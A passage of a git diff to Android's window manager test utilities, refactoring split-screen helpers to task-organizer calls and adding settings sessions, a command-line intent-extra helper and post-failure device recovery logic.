-     * NOTE: Recents view may be combined with home screen on some devices, so using this to wait
-     * for Recents only makes sense when {@link WindowManagerState#isHomeRecentsComponent()} is
-     * {@code false}.
-     */
-    protected void launchActivityInSplitScreenWithRecents(ComponentName activityName) {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
+    protected void launchActivityInPrimarySplit(ComponentName activityName) {
+        runWithShellPermission(() -> {
             launchActivity(activityName);
             final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
-            if (mUseTaskOrganizer) {
-                mTaskOrganizer.putTaskInSplitPrimary(taskId);
-            } else {
-                mAtm.setTaskWindowingModeSplitScreenPrimary(taskId,
-                        SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT,
-                        true /* onTop */, false /* animate */,
-                        null /* initialBounds */, true /* showRecents */);
-            }
-
-            mWmState.waitForValidState(
-                    new WaitForValidActivityState.Builder(activityName)
-                            .setWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY)
-                            .setActivityType(ACTIVITY_TYPE_STANDARD)
-                            .build());
-            mWmState.waitForRecentsActivityVisible();
+            mTaskOrganizer.putTaskInSplitPrimary(taskId);
+            mWmState.waitForValidState(activityName);
         });
     }
 
-    public void moveTaskToPrimarySplitScreen(int taskId) {
-        moveTaskToPrimarySplitScreen(taskId, false /* showSideActivity */);
+    protected void launchActivityInSecondarySplit(ComponentName activityName) {
+        runWithShellPermission(() -> {
+            launchActivity(activityName);
+            final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
+            mTaskOrganizer.putTaskInSplitSecondary(taskId);
+            mWmState.waitForValidState(activityName);
+        });
     }
 
-    /**
-     * Moves the device into split-screen with the specified task into the primary stack.
-     * @param taskId             The id of the task to move into the primary stack.
-     * @param showSideActivity   Whether to show the home activity or a placeholder activity in
-     *                           secondary split-screen.
-     *                           If {@code true} it will also wait for activity in the primary
-     *                           split-screen stack to be resumed.
-     */
-    public void moveTaskToPrimarySplitScreen(int taskId, boolean showSideActivity) {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            if (mUseTaskOrganizer) {
-                mTaskOrganizer.putTaskInSplitPrimary(taskId);
-            } else {
-                mAtm.setTaskWindowingModeSplitScreenPrimary(taskId,
-                        SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT, true /* onTop */,
-                        false /* animate */, null /* initialBounds */,
-                        false /* showRecents */);
-            }
+    protected void putActivityInPrimarySplit(ComponentName activityName) {
+        final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
+        mTaskOrganizer.putTaskInSplitPrimary(taskId);
+        mWmState.waitForValidState(activityName);
+    }
 
-            // Wait for split screen ready
-            mWmState.waitForWithAmState(state -> {
-                final WindowManagerState.ActivityTask task =
-                        state.getStandardStackByWindowingMode(
-                                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-                return task != null && task.getResumedActivity() != null;
-            }, "home activity in the secondary split-screen task must be resumed");
-
-            if (showSideActivity) {
-                // Launch Placeholder Side Activity
-                final ComponentName sideActivityName =
-                        new ComponentName(mContext, SideActivity.class);
-                mContext.startActivity(new Intent().setComponent(sideActivityName)
-                        .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
-                mWmState.waitForActivityState(sideActivityName, STATE_RESUMED);
-
-                // Wait for the state of the activity on primary split screen to resumed, so the
-                // LifecycleLog won't affect the following tests.
-                mWmState.waitForWithAmState(state -> {
-                    final WindowManagerState.ActivityTask stack =
-                            state.getStandardStackByWindowingMode(
-                                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-                    return stack != null && stack.getResumedActivity() != null;
-                }, "activity in the primary split-screen stack must be resumed");
-            }
-        });
+    protected void putActivityInSecondarySplit(ComponentName activityName) {
+        final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
+        mTaskOrganizer.putTaskInSplitSecondary(taskId);
+        mWmState.waitForValidState(activityName);
     }
 
     /**
@@ -949,40 +866,57 @@
                 .setWaitForLaunched(true)
                 .execute();
 
-        final int taskId = mWmState.getTaskByActivity(
+        final int primaryTaskId = mWmState.getTaskByActivity(
                 primaryActivity.mTargetActivity).mTaskId;
-        moveTaskToPrimarySplitScreen(taskId);
+        mTaskOrganizer.putTaskInSplitPrimary(primaryTaskId);
 
         // Launch split-screen secondary
-        // Recents become focused, so we can just launch new task in focused stack
         secondaryActivity
                 .setUseInstrumentation()
                 .setWaitForLaunched(true)
                 .setNewTask(true)
                 .setMultipleTask(true)
                 .execute();
+
+        final int secondaryTaskId = mWmState.getTaskByActivity(
+                secondaryActivity.mTargetActivity).mTaskId;
+        mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
+        mWmState.computeState(primaryActivity.getTargetActivity(),
+                secondaryActivity.getTargetActivity());
+        log("launchActivitiesInSplitScreen(), primaryTaskId=" + primaryTaskId +
+                ", secondaryTaskId=" + secondaryTaskId);
     }
 
-    protected boolean setActivityTaskWindowingMode(ComponentName activityName, int windowingMode) {
-        mWmState.computeState(activityName);
-        final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
-        boolean[] result = new boolean[1];
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            result[0] = mAtm.setTaskWindowingMode(taskId, windowingMode, true /* toTop */);
-        });
-        if (result[0]) {
-            mWmState.waitForValidState(new WaitForValidActivityState.Builder(activityName)
-                    .setActivityType(ACTIVITY_TYPE_STANDARD)
-                    .setWindowingMode(windowingMode)
-                    .build());
+    /**
+     * Move the task of {@param primaryActivity} into split-screen primary and the task of
+     * {@param secondaryActivity} to the side in split-screen secondary.
+     */
+    protected void moveActivitiesToSplitScreen(ComponentName primaryActivity,
+            ComponentName secondaryActivity) {
+        final int primaryTaskId = mWmState.getTaskByActivity(primaryActivity).mTaskId;
+        mTaskOrganizer.putTaskInSplitPrimary(primaryTaskId);
+
+        final int secondaryTaskId = mWmState.getTaskByActivity(secondaryActivity).mTaskId;
+        mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
+
+        mWmState.computeState(primaryActivity, secondaryActivity);
+        log("moveActivitiesToSplitScreen(), primaryTaskId=" + primaryTaskId +
+                ", secondaryTaskId=" + secondaryTaskId);
+    }
+
+    protected void dismissSplitScreen(boolean primaryOnTop) {
+        if (mTaskOrganizer != null) {
+            mTaskOrganizer.dismissedSplitScreen(primaryOnTop);
         }
-        return result[0];
     }
 
-    /** Move activity to stack or on top of the given stack when the stack is a leak task. */
-    protected void moveActivityToStackOrOnTop(ComponentName activityName, int stackId) {
+    /**
+     * Move activity to root task or on top of the given root task when the root task is also a leaf
+     * task.
+     */
+    protected void moveActivityToRootTaskOrOnTop(ComponentName activityName, int rootTaskId) {
         mWmState.computeState(activityName);
-        WindowManagerState.ActivityTask rootTask = getRootTask(stackId);
+        WindowManagerState.ActivityTask rootTask = getRootTask(rootTaskId);
         if (rootTask.getActivities().size() != 0) {
             // If the root task is a 1-level task, start the activity on top of given task.
             getLaunchActivityBuilder()
@@ -995,11 +929,10 @@
                     .execute();
         } else {
             final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
-            SystemUtil.runWithShellPermissionIdentity(
-                    () -> mAtm.moveTaskToStack(taskId, stackId, true));
+            runWithShellPermission(() -> mAtm.moveTaskToRootTask(taskId, rootTaskId, true));
         }
         mWmState.waitForValidState(new WaitForValidActivityState.Builder(activityName)
-                .setStackId(stackId)
+                .setStackId(rootTaskId)
                 .build());
     }
 
@@ -1007,34 +940,7 @@
             ComponentName activityName, int left, int top, int right, int bottom) {
         mWmState.computeState(activityName);
         final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> mAtm.resizeTask(taskId, new Rect(left, top, right, bottom)));
-    }
-
-    protected void resizeDockedStack(
-            int stackWidth, int stackHeight, int taskWidth, int taskHeight) {
-        SystemUtil.runWithShellPermissionIdentity(() ->
-                mAtm.resizeDockedStack(new Rect(0, 0, stackWidth, stackHeight),
-                        new Rect(0, 0, taskWidth, taskHeight)));
-    }
-
-    protected boolean pressAppSwitchButtonAndWaitForRecents() {
-        pressAppSwitchButton();
-        final boolean isRecentsVisible = mWmState.waitForRecentsActivityVisible();
-        if (isRecentsVisible) {
-            mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
-        }
-        return isRecentsVisible;
-    }
-
-    // Utility method for debugging, not used directly here, but useful, so kept around.
-    protected void printStacksAndTasks() {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            final String output = mAtm.listAllStacks();
-            for (String line : output.split("\\n")) {
-                log(line);
-            }
-        });
+        runWithShellPermission(() -> mAtm.resizeTask(taskId, new Rect(left, top, right, bottom)));
     }
 
     protected boolean supportsVrMode() {
@@ -1070,6 +976,11 @@
                 && getSupportsInsecureLockScreen();
     }
 
+    protected boolean supportsBlur() {
+        return SystemProperties.get("ro.surface_flinger.supports_background_blur", "default")
+                .equals("1");
+    }
+
     protected boolean isWatch() {
         return hasDeviceFeature(FEATURE_WATCH);
     }
@@ -1103,22 +1014,35 @@
 
     public void waitAndAssertTopResumedActivity(ComponentName activityName, int displayId,
             String message) {
-        mWmState.waitForValidState(activityName);
-        mWmState.waitForActivityState(activityName, STATE_RESUMED);
         final String activityClassName = getActivityName(activityName);
         mWmState.waitForWithAmState(state -> activityClassName.equals(state.getFocusedActivity()),
                 "activity to be on top");
-
-        mWmState.assertSanity();
+        waitAndAssertResumedActivity(activityName, "Activity must be resumed");
         mWmState.assertFocusedActivity(message, activityName);
-        assertTrue("Activity must be resumed",
-                mWmState.hasActivityState(activityName, STATE_RESUMED));
-        final int frontStackId = mWmState.getFrontRootTaskId(displayId);
-        WindowManagerState.ActivityTask frontStackOnDisplay =
-                mWmState.getRootTask(frontStackId);
-        assertEquals("Resumed activity of front stack of the target display must match. " + message,
-                activityClassName, frontStackOnDisplay.mResumedActivity);
-        mWmState.assertFocusedStack("Top activity's stack must also be on top", frontStackId);
+
+        final int frontRootTaskId = mWmState.getFrontRootTaskId(displayId);
+        WindowManagerState.ActivityTask frontRootTaskOnDisplay =
+                mWmState.getRootTask(frontRootTaskId);
+        assertEquals(
+                "Resumed activity of front root task of the target display must match. " + message,
+                activityClassName,
+                frontRootTaskOnDisplay.isLeafTask() ? frontRootTaskOnDisplay.mResumedActivity
+                        : frontRootTaskOnDisplay.getTopTask().mResumedActivity);
+        mWmState.assertFocusedStack("Top activity's rootTask must also be on top", frontRootTaskId);
+    }
+
+    /**
+     * Waits and asserts that the activity represented by the given activity name is resumed and
+     * visible, but is not necessarily the top activity.
+     *
+     * @param activityName the activity name
+     * @param message the error message
+     */
+    public void waitAndAssertResumedActivity(ComponentName activityName, String message) {
+        mWmState.waitForValidState(activityName);
+        mWmState.waitForActivityState(activityName, STATE_RESUMED);
+        mWmState.assertValidity();
+        assertTrue(message, mWmState.hasActivityState(activityName, STATE_RESUMED));
         mWmState.assertVisibility(activityName, true /* visible */);
     }
 
@@ -1150,8 +1074,24 @@
         return uiModeLockedToVrHeadset;
     }
 
+    protected boolean supportsMultiWindow() {
+        Display defaultDisplay = mDm.getDisplay(DEFAULT_DISPLAY);
+        return ActivityTaskManager.supportsSplitScreenMultiWindow(
+                mContext.createDisplayContext(defaultDisplay));
+    }
+
+    /** Returns true if the default display supports split screen multi-window. */
     protected boolean supportsSplitScreenMultiWindow() {
-        return ActivityTaskManager.supportsSplitScreenMultiWindow(mContext);
+        Display defaultDisplay = mDm.getDisplay(DEFAULT_DISPLAY);
+        return supportsSplitScreenMultiWindow(mContext.createDisplayContext(defaultDisplay));
+    }
+
+    /**
+     * Returns true if the display associated with the supplied {@code context} supports split
+     * screen multi-window.
+     */
+    protected boolean supportsSplitScreenMultiWindow(Context context) {
+        return ActivityTaskManager.supportsSplitScreenMultiWindow(context);
     }
 
     protected boolean hasHomeScreen() {
@@ -1181,7 +1121,7 @@
         return sSupportsInsecureLockScreen;
     }
 
-    protected boolean isAssistantOnTop() {
+    protected boolean isAssistantOnTopOfDream() {
         if (sIsAssistantOnTop == null) {
             sIsAssistantOnTop = mContext.getResources().getBoolean(
                     android.R.bool.config_assistantOnTopOfDream);
@@ -1253,6 +1193,10 @@
                 .getBoolean(android.R.bool.config_perDisplayFocusEnabled);
     }
 
+    protected static void removeLockCredential() {
+        runCommandAndPrintOutput("locksettings clear --old " + LOCK_CREDENTIAL);
+    }
+
     protected static boolean remoteInsetsControllerControlsSystemBars() {
         return getInstrumentation().getTargetContext().getResources()
                 .getBoolean(android.R.bool.config_remoteInsetsControllerControlsSystemBars);
@@ -1279,6 +1223,17 @@
     }
 
     /** @see ObjectTracker#manage(AutoCloseable) */
+    protected AodSession createManagedAodSession() {
+        return mObjectTracker.manage(new AodSession());
+    }
+
+    /** @see ObjectTracker#manage(AutoCloseable) */
+    protected SupportsNonResizableMultiWindowSession
+        createManagedSupportsNonResizableMultiWindowSession() {
+        return mObjectTracker.manage(new SupportsNonResizableMultiWindowSession());
+    }
+
+    /** @see ObjectTracker#manage(AutoCloseable) */
     protected <T extends Activity> TestActivitySession<T> createManagedTestActivitySession() {
         return new TestActivitySession<T>();
     }
@@ -1289,6 +1244,11 @@
                 new SystemAlertWindowAppOpSession(mContext.getOpPackageName(), MODE_ALLOWED));
     }
 
+    /** @see ObjectTracker#manage(AutoCloseable) */
+    protected FontScaleSession createFontScaleSession() {
+        return mObjectTracker.manage(new FontScaleSession());
+    }
+
     /**
      * Test @Rule class that disables screen doze settings before each test method running and
      * restoring to initial values after test method finished.
@@ -1361,7 +1321,7 @@
             mPackageManager = mContext.getPackageManager();
             mOrigHome = getDefaultHomeComponent();
 
-            SystemUtil.runWithShellPermissionIdentity(
+            runWithShellPermission(
                     () -> mPackageManager.setComponentEnabledSetting(mSessionHome,
                             COMPONENT_ENABLED_STATE_ENABLED, DONT_KILL_APP));
             setDefaultHome(mSessionHome);
@@ -1369,7 +1329,7 @@
 
         @Override
         public void close() {
-            SystemUtil.runWithShellPermissionIdentity(
+            runWithShellPermission(
                     () -> mPackageManager.setComponentEnabledSetting(mSessionHome,
                             COMPONENT_ENABLED_STATE_DISABLED, DONT_KILL_APP));
             if (mOrigHome != null) {
@@ -1400,7 +1360,6 @@
 
         public LockScreenSession(int flags) {
             mIsLockDisabled = isLockDisabled();
-            mLockCredentialSet = false;
             // Enable lock screen (swipe) by default.
             setLockDisabled(false);
             if ((flags & FLAG_REMOVE_ACTIVITIES_ON_CLOSE) != 0) {
@@ -1427,11 +1386,6 @@
             return this;
         }
 
-        private void removeLockCredential() {
-            runCommandAndPrintOutput("locksettings clear --old " + LOCK_CREDENTIAL);
-            mLockCredentialSet = false;
-        }
-
         LockScreenSession disableLockScreen() {
             setLockDisabled(true);
             return this;
@@ -1487,20 +1441,21 @@
         @Override
         public void close() {
             if (mRemoveActivitiesOnClose) {
-                removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+                removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
             }
 
             setLockDisabled(mIsLockDisabled);
             if (mLockCredentialSet) {
                 removeLockCredential();
+                mLockCredentialSet = false;
             }
 
             // Dismiss active keyguard after credential is cleared, so keyguard doesn't ask for
             // the stale credential.
             // TODO (b/112015010) If keyguard is occluded, credential cannot be removed as expected.
-            // LockScreenSession#close is always calls before stop all test activities,
-            // which could cause keyguard stay at occluded after wakeup.
-            // If Keyguard is occluded, press back key can close ShowWhenLocked activity.
+            // LockScreenSession#close is always called before stopping all test activities,
+            // which could cause the keyguard to stay occluded after wakeup.
+            // If Keyguard is occluded, pressing the back key can hide the ShowWhenLocked activity.
             pressBackButton();
 
             // If device is unlocked, there might have ShowWhenLocked activity runs on,
@@ -1561,15 +1516,44 @@
         }
     }
 
+    protected class AodSession extends SettingsSession<Integer> {
+        private AmbientDisplayConfiguration mConfig;
+
+        AodSession() {
+            super(Settings.Secure.getUriFor(Settings.Secure.DOZE_ALWAYS_ON),
+                    Settings.Secure::getInt,
+                    Settings.Secure::putInt);
+            mConfig = new AmbientDisplayConfiguration(mContext);
+        }
+
+        boolean isAodAvailable() {
+            return mConfig.alwaysOnAvailable();
+        }
+
+        void setAodEnabled(boolean enabled) {
+            set(enabled ? 1 : 0);
+        }
+    }
+
+    protected class SupportsNonResizableMultiWindowSession extends SettingsSession<Integer> {
+        SupportsNonResizableMultiWindowSession() {
+            super(Settings.Global.getUriFor(
+                    Settings.Global.DEVELOPMENT_ENABLE_NON_RESIZABLE_MULTI_WINDOW),
+                    (cr, name) -> Settings.Global.getInt(cr, name, 0 /* def */),
+                    Settings.Global::putInt);
+        }
+    }
+
     /** Helper class to save, set & wait, and restore rotation related preferences. */
     protected class RotationSession extends SettingsSession<Integer> {
-        private final String SET_FIX_TO_USER_ROTATION_COMMAND =
-                "cmd window set-fix-to-user-rotation ";
+        private final String FIXED_TO_USER_ROTATION_COMMAND =
+                "cmd window fixed-to-user-rotation ";
         private final SettingsSession<Integer> mAccelerometerRotation;
         private final HandlerThread mThread;
         private final Handler mRunnableHandler;
         private final SettingsObserver mRotationObserver;
         private int mPreviousDegree;
+        private String mPreviousFixedToUserRotationMode;
 
         public RotationSession() {
             // Save user_rotation and accelerometer_rotation preferences.
@@ -1585,7 +1569,8 @@
             mRotationObserver = new SettingsObserver(mRunnableHandler);
 
             // Disable fixed to user rotation
-            executeShellCommand(SET_FIX_TO_USER_ROTATION_COMMAND + "disabled");
+            mPreviousFixedToUserRotationMode = executeShellCommand(FIXED_TO_USER_ROTATION_COMMAND);
+            executeShellCommand(FIXED_TO_USER_ROTATION_COMMAND + "disabled");
 
             mPreviousDegree = get();
             // Disable accelerometer_rotation.
@@ -1642,8 +1627,8 @@
 
         @Override
         public void close() {
-            // Set fixed to user rotation to default
-            executeShellCommand(SET_FIX_TO_USER_ROTATION_COMMAND + "default");
+            // Restore fixed to user rotation to default
+            executeShellCommand(FIXED_TO_USER_ROTATION_COMMAND + mPreviousFixedToUserRotationMode);
             mThread.quitSafely();
             super.close();
             // Restore accelerometer_rotation preference.
@@ -1675,6 +1660,15 @@
         }
     }
 
+    /** Helper class to save, set, and restore font_scale preferences. */
+    protected static class FontScaleSession extends SettingsSession<Float> {
+        FontScaleSession() {
+            super(Settings.System.getUriFor(Settings.System.FONT_SCALE),
+                    Settings.System::getFloat,
+                    Settings.System::putFloat);
+        }
+    }
+
     /**
      * Returns whether the test device respects settings of locked user rotation mode.
      *
@@ -1935,7 +1929,9 @@
 
     /** Assert the activity is either relaunched or received configuration changed. */
     static void assertActivityLifecycle(ComponentName activityName, boolean relaunched) {
-        Condition.<String>waitForResult(activityName + " relaunched", condition -> condition
+        Condition.<String>waitForResult(
+                activityName + (relaunched ? " relaunched" : " config changed"),
+                condition -> condition
                 .setResultSupplier(() -> checkActivityIsRelaunchedOrConfigurationChanged(
                         getActivityName(activityName),
                         TestJournalContainer.get(activityName).callbacks, relaunched))
@@ -1946,7 +1942,7 @@
     /** Assert the activity is either relaunched or received configuration changed. */
     static List<ActivityCallback> assertActivityLifecycle(ActivitySession activitySession,
             boolean relaunched) {
-        final String name = activitySession.getName();
+        final String name = activitySession.getName().flattenToShortString();
         final List<ActivityCallback> callbackHistory = activitySession.takeCallbackHistory();
         String failedReason = checkActivityIsRelaunchedOrConfigurationChanged(
                 name, callbackHistory, relaunched);
@@ -1995,13 +1991,14 @@
     private static final Pattern sUiModeLockedPattern =
             Pattern.compile("mUiModeLocked=(true|false)");
 
-    @Nullable
+    @NonNull
     SizeInfo getLastReportedSizesForActivity(ComponentName activityName) {
         return Condition.waitForResult("sizes of " + activityName + " to be reported",
                 condition -> condition.setResultSupplier(() -> {
                     final ConfigInfo info = TestJournalContainer.get(activityName).lastConfigInfo;
                     return info != null ? info.sizeInfo : null;
-                }).setResultValidator(sizeInfo -> sizeInfo != null));
+                }).setResultValidator(Objects::nonNull).setOnFailure(unusedResult ->
+                        fail("No config reported from " + activityName)));
     }
 
     /** Check if a device has display cutout. */
@@ -2046,6 +2043,13 @@
         return counts;
     }
 
+    WindowState getPackageWindowState(String packageName) {
+        final WindowManagerState.WindowState window =
+                mWmState.getWindowByPackageName(packageName, TYPE_BASE_APPLICATION);
+        assertNotNull(window);
+        return window;
+    }
+
     static class ActivityLifecycleCounts {
         private final int[] mCounts = new int[ActivityCallback.SIZE];
         private final int[] mFirstIndexes = new int[ActivityCallback.SIZE];
@@ -2134,7 +2138,7 @@
     }
 
     protected void stopTestPackage(final String packageName) {
-        SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(packageName));
+        runWithShellPermission(() -> mAm.forceStopPackage(packageName));
     }
 
     protected LaunchActivityBuilder getLaunchActivityBuilder() {
@@ -2170,6 +2174,7 @@
         private int mIntentFlags;
         private Bundle mExtras;
         private LaunchInjector mLaunchInjector;
+        private ActivitySessionClient mActivitySessionClient;
 
         private enum LauncherType {
             INSTRUMENTATION, LAUNCHING_ACTIVITY, BROADCAST_RECEIVER
@@ -2295,6 +2300,11 @@
             return this;
         }
 
+        public LaunchActivityBuilder setActivitySessionClient(ActivitySessionClient sessionClient) {
+            mActivitySessionClient = sessionClient;
+            return this;
+        }
+
         @Override
         public boolean shouldWaitForLaunched() {
             return mWaitForLaunched;
@@ -2325,10 +2335,17 @@
 
         @Override
         public void execute() {
+            if (mActivitySessionClient != null) {
+                final ActivitySessionClient client = mActivitySessionClient;
+                // Clear the session client so its startActivity can call the real execute().
+                mActivitySessionClient = null;
+                client.startActivity(this);
+                return;
+            }
             switch (mLauncherType) {
                 case INSTRUMENTATION:
                     if (mWithShellPermission) {
-                        SystemUtil.runWithShellPermissionIdentity(this::launchUsingInstrumentation);
+                        NestedShellPermission.run(this::launchUsingInstrumentation);
                     } else {
                         launchUsingInstrumentation();
                     }
@@ -2489,28 +2506,52 @@
      * to collect multiple errors.
      */
     private class PostAssertionRule extends ErrorCollector {
+        private Throwable mLastError;
+
         @Override
         protected void verify() throws Throwable {
-            if (!sStackTaskLeakFound) {
-                // Skip empty stack/task check if a leakage was already found in previous test, or
-                // all tests afterward would also fail (since the leakage is always there) and fire
-                // unnecessary false alarms.
+            if (mLastError != null) {
+                // Try to recover the bad state of device to avoid subsequent test failures.
+                final KeyguardManager kgm = mContext.getSystemService(KeyguardManager.class);
+                if (kgm != null && kgm.isKeyguardLocked()) {
+                    mLastError.addSuppressed(new IllegalStateException("Keyguard is locked"));
+                    // To clear the credential immediately, the screen need to be turned on.
+                    pressWakeupButton();
+                    removeLockCredential();
+                    // Off/on to refresh the keyguard state.
+                    pressSleepButton();
+                    pressWakeupButton();
+                    pressUnlockButton();
+                }
+                final String overlayDisplaySettings = Settings.Global.getString(
+                        mContext.getContentResolver(), Settings.Global.OVERLAY_DISPLAY_DEVICES);
+                if (overlayDisplaySettings != null && overlayDisplaySettings.length() > 0) {
+                    mLastError.addSuppressed(new IllegalStateException(
+                            "Overlay display is found: " + overlayDisplaySettings));
+                    // Remove the overlay display because it may obscure the screen and causes the
+                    // next tests to fail.
+                    SettingsSession.delete(Settings.Global.getUriFor(
+                            Settings.Global.OVERLAY_DISPLAY_DEVICES));
+                }
+            }
+            if (!sIllegalTaskStateFound) {
+                // Skip if a illegal task state was already found in previous test, or all tests
+                // afterward could also fail and fire unnecessary false alarms.
                 try {
-                    mWmState.assertNoneEmptyTasks();
+                    mWmState.assertIllegalTaskState();
                 } catch (Throwable t) {
-                    sStackTaskLeakFound = true;
+                    sIllegalTaskStateFound = true;
                     addError(t);
                 }
             }
             super.verify();
         }
-    }
 
-    /**
-     * Activity used in place of recents when home is the recents component. It should only be used
-     * by {@link #moveTaskToPrimarySplitScreen}.
-     */
-    public static class SideActivity extends Activity {
+        @Override
+        public void addError(Throwable error) {
+            super.addError(error);
+            mLastError = error;
+        }
     }
 
     /** Activity that can handle all config changes. */
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/CliIntentExtra.java b/tests/framework/base/windowmanager/util/src/android/server/wm/CliIntentExtra.java
new file mode 100644
index 0000000..7b6835a
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/CliIntentExtra.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.text.TextUtils;
+
+/**
+ * A class to represent an {@link android.content.Intent} extra that can be passed as a command line
+ * parameter. More options can be added as needed. Supported parameters are as follows
+ *
+ * <ol>
+ *     <li>String</li>
+ *     <li>boolean</li>
+ * </ol>
+ */
+public final class CliIntentExtra {
+    private final String mOption;
+    private final String mKey;
+    private final String mValue;
+
+    private CliIntentExtra(String option, String key, String value) {
+        if (TextUtils.isEmpty(option)) {
+            throw new IllegalArgumentException("Option must not be empty");
+        }
+        if (TextUtils.isEmpty(key)) {
+            throw new IllegalArgumentException("Key must not be empty");
+        }
+        if (TextUtils.isEmpty(value)) {
+            throw new IllegalArgumentException("Value must not be empty");
+        }
+        mOption = option;
+        mKey = key;
+        mValue = value;
+    }
+
+    /**
+     * Returns the option to be used when creating the command line option. The option is provided
+     * in the constructor.
+     *
+     * @return {@link String} representing the option for the command line.
+     */
+    String option() {
+        return mOption;
+    }
+
+    /**
+     * Returns the key for the key-value pair that will be passed as an intent extra
+     *
+     * @return {@link String} representing the key for the {@link android.content.Intent} extra
+     */
+    String key() {
+        return mKey;
+    }
+
+    /**
+     * Returns the value for the key-value pair that will be passed as an
+     * {@link android.content.Intent} extra.  All values are normalized to a {@link String} so they
+     * can be passed as a command line argument.
+     *
+     * @return {@link String} representing the parsed value for the key-value pair
+     */
+    String value() {
+        return mValue;
+    }
+
+    /**
+     * Appends the command line option and arguments to the command line command. The option, key,
+     * and value are appended separated by a space.
+     *
+     * @param sb {@link StringBuilder} representing the command
+     */
+    void appendTo(StringBuilder sb) {
+        sb.append(" ").append(option()).append(" ").append(key()).append(" ").append(value());
+    }
+
+    /**
+     * Creates a {@link CliIntentExtra} for {@link String} intent extra.
+     *
+     * @param key the key in the key-value pair passed into the {@link android.content.Intent} extra
+     * @param value the value in the key-value pair pased into the {@link android.content.Intent}
+     *              extra
+     * @return {@link CliIntentExtra} to construct a command with the key value pair as parameters
+     * for an {@link android.content.Intent}
+     */
+    public static CliIntentExtra extraString(String key, String value) {
+        return new CliIntentExtra("--es", key, value);
+    }
+
+    /**
+     * Creates a {@link CliIntentExtra} for {@link Boolean} intent extra.
+     *
+     * @param key the key in the key-value pair passed into the {@link android.content.Intent} extra
+     * @param value the value in the key-value pair pased into the {@link android.content.Intent}
+     *              extra
+     * @return {@link CliIntentExtra} to construct a command with the key value pair as parameters
+     * for an {@link android.content.Intent}
+     */
+    public static CliIntentExtra extraBool(String key, boolean value) {
+        return new CliIntentExtra("--ez", key, Boolean.toString(value));
+    }
+
+    /**
+     * Creates a {@link CliIntentExtra} for {@link Integer} intent extra.
+     *
+     * @param key the key in the key-value pair passed into the {@link android.content.Intent} extra
+     * @param value the value in the key-value pair pased into the {@link android.content.Intent}
+     *              extra
+     * @return {@link CliIntentExtra} to construct a command with the key value pair as parameters
+     * for an {@link android.content.Intent}
+     */
+    public static CliIntentExtra extraInt(String key, int value) {
+        return new CliIntentExtra("--ei", key, Integer.toString(value));
+    }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
index 418d298..b56b748 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
@@ -95,6 +95,7 @@
     private static final String COMMAND_TAKE_CALLBACK_HISTORY = EXTRA_PREFIX
             + "command_take_callback_history";
     private static final String COMMAND_WAIT_IDLE = EXTRA_PREFIX + "command_wait_idle";
+    private static final String COMMAND_GET_NAME = EXTRA_PREFIX + "command_get_name";
     private static final String COMMAND_DISPLAY_ACCESS_CHECK =
             EXTRA_PREFIX + "display_access_check";
 
@@ -231,15 +232,15 @@
         }
 
         /** Get a name to represent this session by the original launch intent if possible. */
-        public String getName() {
+        public ComponentName getName() {
             if (mOriginalLaunchIntent != null) {
                 final ComponentName componentName = mOriginalLaunchIntent.getComponent();
                 if (componentName != null) {
-                    return componentName.flattenToShortString();
+                    return componentName;
                 }
-                return mOriginalLaunchIntent.toString();
             }
-            return "Activity";
+            return sendCommandAndWaitReply(COMMAND_GET_NAME, null /* data */)
+                    .getParcelable(COMMAND_GET_NAME);
         }
 
         public boolean isUidAccesibleOnDisplay() {
@@ -480,6 +481,13 @@
             session.mOriginalLaunchIntent = intent;
         }
 
+        public ActivitySession getLastStartedSession() {
+            if (mSessions.isEmpty()) {
+                throw new IllegalStateException("No started sessions");
+            }
+            return mSessions.valueAt(mSessions.size() - 1);
+        }
+
         private void ensureNotClosed() {
             if (mClosed) {
                 throw new IllegalStateException("This session client is closed.");
@@ -537,10 +545,12 @@
 
     /** The host receives command from the test client. */
     public static class ActivitySessionHost extends BroadcastReceiver {
-        private final CommandReceiver mCallback;
         private final Context mContext;
         private final String mClientId;
         private final String mHostId;
+        private CommandReceiver mCallback;
+        /** The intents received when the host activity is relaunching. */
+        private ArrayList<Intent> mPendingIntents;
 
         ActivitySessionHost(Context context, String hostId, String clientId,
                 CommandReceiver callback) {
@@ -554,10 +564,24 @@
         @Override
         public void onReceive(Context context, Intent intent) {
